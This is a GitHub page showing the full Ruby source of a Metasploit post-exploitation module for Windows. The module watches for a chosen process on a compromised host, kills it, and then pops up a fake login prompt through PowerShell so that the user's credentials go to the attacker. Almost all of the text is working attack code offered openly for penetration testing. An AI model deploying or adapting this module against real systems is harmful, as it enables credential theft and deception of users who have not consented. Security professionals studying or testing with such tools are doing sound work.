Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
metasploit-framework/modules/post/windows/gather/phish_windows_credentials.rb
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
132 lines (121 sloc)
4.86 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# This module requires Metasploit: https://metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
class MetasploitModule < Msf::Post | |
include Msf::Post::Windows::Registry | |
include Msf::Post::Windows::Powershell | |
def initialize(info = {}) | |
super( | |
update_info( | |
info, | |
'Name' => 'Windows Gather User Credentials (phishing)', | |
'Description' => %q{ | |
This module is able to perform a phishing attack on the target by popping up a loginprompt. | |
When the user fills credentials in the loginprompt, the credentials will be sent to the attacker. | |
The module is able to monitor for new processes and popup a loginprompt when a specific process is starting. Tested on Windows 7. | |
}, | |
'License' => MSF_LICENSE, | |
'Author' => [ | |
'Wesley Neelen <security[at]forsec.nl>', # Metasploit module, @wez3forsec on Twitter | |
'Matt Nelson' # Original powershell script, @enigma0x3 on Twitter | |
], | |
'References' => [ 'URL', 'https://forsec.nl/2015/02/windows-credentials-phishing-using-metasploit' ], | |
'Platform' => [ 'win' ], | |
'Arch' => [ ARCH_X86, ARCH_X64 ], | |
'SessionTypes' => [ 'meterpreter' ], | |
'Compat' => { | |
'Meterpreter' => { | |
'Commands' => %w[ | |
stdapi_railgun_api | |
stdapi_sys_process_kill | |
] | |
} | |
} | |
) | |
) | |
register_options( | |
[ | |
OptString.new('PROCESS', [ false, 'Prompt if a specific process is started by the target. (e.g. calc.exe or specify * for all processes)' ]), | |
OptString.new('DESCRIPTION', [ true, 'Message shown in the loginprompt', '{PROCESS_NAME} needs your permissions to start. Please enter user credentials']), | |
] | |
) | |
register_advanced_options( | |
[ | |
OptInt.new('TIMEOUT', [true, 'The maximum time (in seconds) to wait for any Powershell scripts to complete', 120]) | |
] | |
) | |
end | |
# Function to run the InvokePrompt powershell script | |
def execute_invokeprompt_script(description, process, path) | |
base_script = File.read(File.join(Msf::Config.data_directory, 'post', 'powershell', 'Invoke-LoginPrompt.ps1')) | |
if process.nil? | |
sdescription = description.gsub('{PROCESS_NAME} needs your permissions to start. ', '') | |
psh_script = base_script.gsub('R{DESCRIPTION}', sdescription.to_s) << 'Invoke-LoginPrompt' | |
else | |
sdescription = description.gsub('{PROCESS_NAME}', process) | |
psh_script2 = base_script.gsub('R{DESCRIPTION}', sdescription.to_s) << 'Invoke-LoginPrompt' | |
psh_script = psh_script2.gsub('R{START_PROCESS}', "start-process \"#{path}\"") | |
end | |
compressed_script = compress_script(psh_script) | |
cmd_out, runnings_pids, open_channels = execute_script(compressed_script, datastore['TIMEOUT']) | |
while (d = cmd_out.channel.read) | |
print_good(d.to_s) | |
end | |
end | |
# Function to monitor process creation | |
def procmon(process, description) | |
procs = [] | |
existingProcs = [] | |
detected = false | |
first = true | |
print_status('Monitoring new processes.') | |
while detected == false | |
sleep 1 | |
procs = client.sys.process.processes | |
procs.each do |p| | |
if (p['name'] == process) || (process == '*') | |
if first == true | |
print_status("#{p['name']} is already running. Waiting on new instances to start") | |
existingProcs.push(p['pid']) | |
elsif !existingProcs.include? p['pid'] | |
print_status("New process detected: #{p['pid']} #{p['name']}") | |
killproc(p['name'], p['pid'], description, p['path']) | |
detected = true | |
end | |
end | |
end | |
first = false | |
end | |
end | |
# Function to kill the process | |
def killproc(process, pid, description, path) | |
print_status('Killing the process and starting the popup script. Waiting on the user to fill in his credentials...') | |
client.sys.process.kill(pid) | |
execute_invokeprompt_script(description, process, path) | |
end | |
# Main method | |
def run | |
process = datastore['PROCESS'] | |
description = datastore['DESCRIPTION'] | |
# Powershell installed check | |
if have_powershell? | |
print_good('PowerShell is installed.') | |
else | |
fail_with(Failure::Unknown, 'PowerShell is not installed') | |
end | |
# Check whether target system is locked | |
locked = client.railgun.user32.GetForegroundWindow()['return'] | |
if locked == 0 | |
fail_with(Failure::Unknown, 'Target system is locked. This post module cannot start the loginprompt when the target system is locked.') | |
end | |
# Switch to check whether a specific process needs to be monitored, or just show the popup immediatly. | |
case process | |
when nil | |
print_status('Starting the popup script. Waiting on the user to fill in his credentials...') | |
execute_invokeprompt_script(description, nil, nil) | |
else | |
procmon(process, description) | |
end | |
end | |
end |